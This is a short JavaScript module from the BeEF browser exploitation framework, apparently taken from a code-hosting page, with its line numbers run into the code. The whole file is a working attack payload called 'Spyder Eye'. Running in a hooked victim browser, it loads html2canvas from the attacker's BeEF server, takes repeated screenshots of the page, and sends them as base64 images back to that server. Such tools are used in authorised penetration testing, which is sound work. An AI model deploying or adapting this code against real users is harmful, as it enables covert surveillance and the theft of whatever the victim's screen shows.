Path: blob/master/modules/browser/spyder_eye/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var takes = parseInt('<%= @repeat %>', 10) || 1;9var delay = parseInt('<%= @delay %>', 10) || 0;1011snap = function() {12try {13html2canvas(document.body).then(function(canvas) {14var d = canvas.toDataURL('image/png');15beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );16});17beef.debug('[Spyder Eye] Took snapshot successfully');18}19catch (e) {20beef.debug('[Spyder Eye] Obtaining snapshot failed: ' + e.message);21beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Obtaining snapshot failed: ' + e.message);22}23};2425takeit = function() {26for(var i = 0; i < takes; i++) {27beef.debug('[Spyder Eye] Taking snapshot #' + i);28setTimeout(snap, delay * i);29}30};3132if (typeof html2canvas == "undefined") {33var script = document.createElement('script');34script.type = 'text/javascript';35script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/h2c.js';36$j("body").append(script);3738setTimeout(takeit, 400);39}40else {41takeit();42}4344});454647